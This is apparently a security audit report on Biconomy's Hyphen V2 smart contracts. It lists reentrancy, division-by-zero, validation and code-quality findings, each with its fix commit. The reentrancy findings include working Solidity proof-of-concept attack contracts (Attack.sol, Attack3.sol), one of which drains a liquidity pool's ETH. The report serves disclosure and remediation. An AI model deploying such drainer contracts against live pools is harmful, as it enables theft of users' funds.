Hyphen V2 - Biconomy

The Reentrancy term comes from where a re-entrant procedure can be interrupted in the middle of its execution and then safely be called again ("re-entered") before its previous invocations complete execution. In Solidity, Reentrancy vulnerabilities are mostly critical because attackers can steal funds from contracts by exploiting this vulnerability.

It has been observed that a malicious owner or malicious liquidity provider can drain all funds from the liquidity pool.

Note: The risk level is decreased to Critical from High due to authorization level.

Steps to Reproduce:

1. Alice (owner) deploys the LiquidityPool contract.
2. Bob (user1) transfer some funds (22 ETH) to LiquidityPool.
3. Carol (user2) transfer more funds (15 ETH) to LiquidityPool.
4. Alice deploys a malicious Attack contract.
5. Alice sets LiquidityProviders address to the attack contact.
6. Alice tries to send (1 ETH) to the attack contract.
7. Attack contract calls LiquidityPool's transfer function reentrantly.
8. Attack contract consumes all ETH from LiquidityPool.
9. Alice destructs the Attack contract and gets all ETH.

PoC Code:

Attack.sol

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.0;
import "./LiquidityPool.sol";

contract Attack {
    LiquidityPool public lpool;
    address private constant NATIVE = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    address private owner;

    modifier onlyOwner(){
    require(owner == msg.sender, "Unauthorized");
    _;
    }

    constructor (address _lpaddress) public {
    owner = msg.sender;
        lpool = LiquidityPool(payable(_lpaddress));
    }
    fallback() external payable{
        if (address(lpool).balance >= 1 ether){
            lpool.transfer(NATIVE, address(this), 1 ether);
        }
    }

    function getBalance(address target) public view returns (uint) {
        return target.balance;
    }

    function destruct() external onlyOwner {
        selfdestruct(payable(owner));
    }

}

Code Location

LiquidityPool.sol

function transfer(address _tokenAddress, address receiver, uint256 _tokenAmount) external whenNotPaused onlyLiquidityProviders {
        if (_tokenAddress == NATIVE) {
            require(address(this).balance >= _tokenAmount, "ERR__INSUFFICIENT_BALANCE");
            (bool success, ) = receiver.call{value: _tokenAmount}("");
            require(success, "ERR__NATIVE_TRANSFER_FAILED");
        } else {
            IERC20Upgradeable baseToken = IERC20Upgradeable(_tokenAddress);
            require(baseToken.balanceOf(address(this)) >= _tokenAmount, "ERR__INSUFFICIENT_BALANCE");
            SafeERC20Upgradeable.safeTransfer(baseToken, receiver, _tokenAmount);
        }
    }

SOLVED: The Biconomy team solved this issue by implementing nonReentrant modifier to the transfer() function.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/e00937d1ca0e800e69fcb87d0841a74c0083194a}{e00937d1ca0e800e69fcb87d0841a74c0083194a}

The sendFundsToUser() is a function on the LiquidityPool contract that allows users to be paid in certain tokens for the specified chainIds. This function is only callable by executors. When an executor attempts to call this function, the following functions are also called sequentially:

1. sendFundsToUser()
2. getAmountToTransfer()
3. getTransferFee()

In the last function, there is missing control for if denominator value is zero. There are some conditions that make the denominator be zero.

For example;

1. If providedLiquidity and resultingLiquidity variables are zero. (if there is no liquidity on the pool)
2. When you try to send all liquidity to another user while providedLiquidity is zero. (if users made a direct transfer to the pool)
3. If maxFee equals to equilibriumFee and providedLiquidity variable is zero.

As a result, these circumstances will block transfer of funds.

Code Location

LiquidityPool.sol

function getTransferFee(address tokenAddress, uint256 amount) public view returns (uint256 fee) {
        uint256 currentLiquidity = getCurrentLiquidity(tokenAddress);
        uint256 providedLiquidity = liquidityProviders.getSuppliedLiquidityByToken(tokenAddress);

        uint256 resultingLiquidity = currentLiquidity - amount;

        uint256 equilibriumFee = tokenManager.getTokensInfo(tokenAddress).equilibriumFee;
        uint256 maxFee = tokenManager.getTokensInfo(tokenAddress).maxFee;
        // Fee is represented in basis points * 10 for better accuracy
        uint256 numerator = providedLiquidity * equilibriumFee * maxFee; // F(max) * F(e) * L(e)
        uint256 denominator = equilibriumFee * providedLiquidity + (maxFee - equilibriumFee) * resultingLiquidity; // F(e) * L(e) + (F(max) - F(e)) * L(r)

        fee = numerator / denominator;
    }

SOLVED: The Biconomy team solved this finding by applying the recommendation above to the code that was causing the division by zero.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/22618c038df5d27368ccac4c5451d2a0c9816513}{22618c038df5d27368ccac4c5451d2a0c9816513}

The LPToken contract is ERC721 token and uses tokenMetadata to keep deposit amounts for other ERC20 tokens. When a user deposit native asset or ERC20 token to the Liquidity Pool over LiquidityProviders contract, LPToken is getting minted to track this operation. During this process, LiquidityProvider contract calls lptoken.mint() function and LPToken contract calls ERC721's _safeMint() function. The _safeMint() function has any callbacks, and malicious contract with onERC721Received callback can re-enter to other contracts. This can lead to unexpected situations.

PoC Code:

Note: The following code does not mint unlimited LPTokens with 1 ETH. It is just added to show that Re-entrancy is possible. However, this situation may produce unexpected results.

Attack3.sol

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.0;
import "./LiquidityProviders.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol";

contract Attack3 is IERC721ReceiverUpgradeable{
    LiquidityProviders public liquidityproviders;

    constructor() public {}

    function setLProvider(address _lproviders) external {
    liquidityproviders = LiquidityProviders(payable(_lproviders));
    }

    function onERC721Received(
        address operator, 
        address from, 
        uint256 tokenId, 
        bytes calldata data) external override returns (bytes4) {
        if (tokenId < 10) {
            liquidityproviders.addNativeLiquidity{value: 1e12}();
            return IERC721ReceiverUpgradeable.onERC721Received.selector;        
        }
        else{
            return IERC721ReceiverUpgradeable.onERC721Received.selector;
        }
    }

    receive() external payable {}

    function attack() external payable{
       liquidityproviders.addNativeLiquidity{value: msg.value}();
    }
}

Code Location

LPToken.sol

function mint(address _to) external onlyHyphenPools whenNotPaused returns (uint256) {
        uint256 tokenId = totalSupply() + 1;
        _safeMint(_to, tokenId);
        return tokenId;
    }

SOLVED: The Biconomy team solved this issue by implementing the nonReentrant modifier to the mint() function.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/cce62223d4779792ea68f3570b576da12dc96eb2}{cce62223d4779792ea68f3570b576da12dc96eb2}

Hyphen contracts have address fields on multiple functions. These functions have missing address validations. Every address should be validated and checked that is different from zero. This is also considered a best practice.

During the test, it has seen some of these inputs are not protected against using the address(0) as the target address.

Code Location

Functions with missing zero address checks

LPToken.setLiquidtyPool(address)._lpm
LPToken.updateLiquidityPoolAddress(address)._liquidityPoolAddress
LiquidityPool.transfer(address,address,uint256).receiver

SOLVED: This issue solved by Biconomy team after adding additional zero address checks to the code as it recommended.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/5c57ae6eddcddde2f89ed00d9c5387ff151774ea}{5c57ae6eddcddde2f89ed00d9c5387ff151774ea}

To protect against cross-function re-entrancy attacks, it may be necessary to use a mutex. By using this lock, an attacker can no longer exploit the withdrawal function with a recursive call. OpenZeppelin has its own mutex implementation called ReentrancyGuard which provides a modifier to any function called nonReentrant that guards the function with a mutex against re-entrancy attacks.

Note: This issue is created for other functions that were not exploited.

Code Location

Possible Vulnerable Functions

LiquidityPool.depositErc20()
LiquidityPool.depositNative()
LiquidityPool.getAmountToTransfer()
LiquidityPool.withdrawErc20GasFee()
LiquidityPool.withdrawNativeGasFee()
LiquidityPool.transfer()
LiquidityProviders.addNativeLiquidity()
LiquidityProviders.addTokenLiquidity()
LiquidityProviders.increaseTokenLiquidity()
LiquidityProviders.increaseNativeLiquidity()
LiquidityProviders.removeLiquidity()
LiquidityProviders.claimFee()

SOLVED: This vulnerability was eliminated by adding the nonReentrant modifier to functions mentioned above.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/e511a8a02ab298526689cef653c905b6b2d452e3}{e511a8a02ab298526689cef653c905b6b2d452e3}

The setLiquidtyPool function on the LPToken contract is named inconsistently. Similarly, there is a setLiquidityPool function on the LiquidityProviders contract which uses LiquidityPool as argument. As a result of the function named in this way in the LPToken contract, if the contract owner gives the LiquidityPool address as an argument instead of the LiquidityProvider address, the transactions on the contract do not work properly.

Code Location

LiquidityProviders.sol

function setLiquidityPool(address _liquidityPool) external onlyOwner {
        liquidityPool = ILiquidityPool(_liquidityPool);
}

LPToken.sol

function setLiquidtyPool(address _lpm) external onlyOwner {
        liquidityPoolAddress = _lpm;
        emit LiquidityPoolUpdated(_lpm);
    }

SOLVED: This issue was solved after renaming the setLiquidtyPool function to setLiquidityProviders.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/9e16cd0e6b6e66d5f02792d0705149c873daf287}{9e16cd0e6b6e66d5f02792d0705149c873daf287}

The project contains many instances of floating pragma. Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, either an outdated compiler version that might introduce bugs that affect the contract system negatively or a pragma version too recent which has not been extensively tested.

Code Location

Floating Pragma

LiquidityProviders.sol::pragma solidity ^0.8.0
WhitelistPeriodManager.sol::pragma solidity ^0.8.0
LPToken.sol::pragma solidity ^0.8.0
ERC2771Context.sol::pragma solidity ^0.8.0
ERC2771ContextUpgradeable.sol::pragma solidity ^0.8.0
ILPToken.sol::pragma solidity ^0.8.0
ILiquidityPool.sol::pragma solidity ^0.8.0
ILiquidityProviders.sol::pragma solidity ^0.8.0
ITokenManager.sol::pragma solidity ^0.8.0
IWhitelistPeriodManager.sol::pragma solidity ^0.8.0
LpTokenMetadata.sol::pragma solidity ^0.8.0

SOLVED: The Biconomy team solved this issue by locking pragma versions.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/d7ca2d430b08296b742db3d0c39cc0dfa7201330}{d7ca2d430b08296b742db3d0c39cc0dfa7201330}

According to the performed tests, it is possible to add the same executor to the executors array multiple times. Adding the same address to the executor array does not pose a security risk since the remove function works properly. However, it is the best practice to keep unique elements in executors array.

Code Location

ExecutorManager.sol

function addExecutor(address executorAddress) public override onlyOwner {
        require(executorAddress != address(0), "executor address can not be 0");
        executors.push(executorAddress);
        executorStatus[executorAddress] = true;
        emit ExecutorAdded(executorAddress, msg.sender);
    }

SOLVED: This finding was solved after a sanity check was added to the code to check not to add duplicate records to the array.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/e15fffa2aa3c79a9b2729a7e081737856a632317}{e15fffa2aa3c79a9b2729a7e081737856a632317}

Solidity has three methods to complete Ether transfers. The first one is transfer method. It forwards 2300 gas, and it does not have callback to check whether transfer is completed or not. The second one is send method. It also forwards 2300 gas, but it returns false on failure. The third one is call.value method. This method issues a low-level CALL with the given payload and returns success condition and return data. It forwards all available gas.

It is the best practice to use call.value method, since other methods have hardcoded gas amounts. However, the call.value method may use all gas on reentrant transactions. Therefore, it is important to use nonReentrant modifier with this method.

Code Location

LPToken.sol

if (tokenAddress == NATIVE) {
            require(address(this).balance >= amountToTransfer, "Not Enough Balance");
            bool success = receiver.send(amountToTransfer);
            require(success, "Native Transfer Failed");

LPToken.sol

gasFeeAccumulated[NATIVE][_msgSender()] = 0;
        bool success = payable(_msgSender()).send(_gasFeeAccumulated);
        require(success, "Native Transfer Failed");

SOLVED: The Biconomy team solved this issue by replacing the send method with the call.value method.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/d98b632da2aa7e92668c58c8d81f81c595af3401}{d98b632da2aa7e92668c58c8d81f81c595af3401}

The withdrawErc20GasFee function can also be called by other executors defined on the contract. In this case, there may be different accumulated gas fee values for each executor. Contrary to this situation, the withdrawNativeGasFee function only can be called by contract owner. This function nearly has the same logic with the first one. While other executors can collect gas fees for tokens, only the contract owner can collect this value for the native asset. In this case, it reduces decentralization of the contract.

Code Location

LiquidityPool.sol

function withdrawErc20GasFee(address tokenAddress) external onlyExecutor whenNotPaused

LiquidityPool.sol

function withdrawNativeGasFee() external onlyOwner whenNotPaused

SOLVED: This issue was removed after changing the onlyOwner modifier to the onlyExecutor modifier in the withdrawNativeGasFee function.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/fab4b8c0a10a3e0185b2a06b10248391837c07de}{fab4b8c0a10a3e0185b2a06b10248391837c07de}

In all the loops, the variable i is incremented using i++. It is known that, in loops, using ++i costs less gas per iteration than i++. This also affects variables incremented inside the loop code block.

Code Location

ExecutorManager.sol

function addExecutors(address[] calldata executorArray) external override onlyOwner {
        for (uint256 i = 0; i < executorArray.length; i++) {
            addExecutor(executorArray[i]);
        }
    }

ExecutorManager.sol

function removeExecutors(address[] calldata executorArray) external override onlyOwner {
        for (uint256 i = 0; i < executorArray.length; i++) {
            removeExecutor(executorArray[i]);
        }
    }

TokenManager.sol

function setDepositConfig(
        uint256[] memory toChainId,
        address[] memory tokenAddresses,
        TokenConfig[] memory tokenConfig
    ) external onlyOwner {
        require(toChainId.length == tokenAddresses.length, "ERR_ARRAY_LENGTH_MISMATCH");
        require(tokenAddresses.length == tokenConfig.length, "ERR_ARRAY_LENGTH_MISMATCH");
        for (uint256 index = 0; index < tokenConfig.length; index++) {
            depositConfig[toChainId[index]][tokenAddresses[index]].min = tokenConfig[index].min;
            depositConfig[toChainId[index]][tokenAddresses[index]].max = tokenConfig[index].max;
        }
    }

SOLVED: The Biconomy team resolved this finding by replacing post-increment with pre-increment on for loops.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/cb81bba9c42167b05e4724465ad76edaebd55645}{cb81bba9c42167b05e4724465ad76edaebd55645}

In TokenManager contract, there is redundant require statement. The following lines check if length of array elements are equal.

Redundant Code

require(toChainId.length == tokenAddresses.length, "ERR_ARRAY_LENGTH_MISMATCH");
require(tokenAddresses.length == tokenConfig.length, "ERR_ARRAY_LENGTH_MISMATCH");

It is possible to complete this check with a single require function.

Code Location

TokenManager.sol

    function setDepositConfig(
        uint256[] memory toChainId,
        address[] memory tokenAddresses,
        TokenConfig[] memory tokenConfig
    ) external onlyOwner {
        require(toChainId.length == tokenAddresses.length, "ERR_ARRAY_LENGTH_MISMATCH");
        require(tokenAddresses.length == tokenConfig.length, "ERR_ARRAY_LENGTH_MISMATCH");
        for (uint256 index = 0; index < tokenConfig.length; index++) {
            depositConfig[toChainId[index]][tokenAddresses[index]].min = tokenConfig[index].min;
            depositConfig[toChainId[index]][tokenAddresses[index]].max = tokenConfig[index].max;
        }
    }

SOLVED: The Biconomy team solved this issue by reducing the require functions from two to only one require function.

Commit ID: \href{https://github.com/bcnmy/hyphen-contract/commit/41eb807e4f6a617fd2195b23ad22f7397654cdca}{41eb807e4f6a617fd2195b23ad22f7397654cdca}

There are two permit functions (permitAndDepositErc20 and permitEIP2612AndDepositErc20) on LiquidityPool contract to complete Meta transactions. However, there is no test scenario in the test scripts about whether these functions work correctly.

Code Location

Test Scripts

test/LiquidityPool.tests.ts
test/LiquidityPoolProxy.tests.ts
test/LiquidityProviders.test.ts
test/WhitelistPeriodManager.test.ts

ACKNOWLEDGED: The Biconomy team acknowledged this issue. This finding does not pose any security risks currently. Therefore, it was decided not to fix this issue.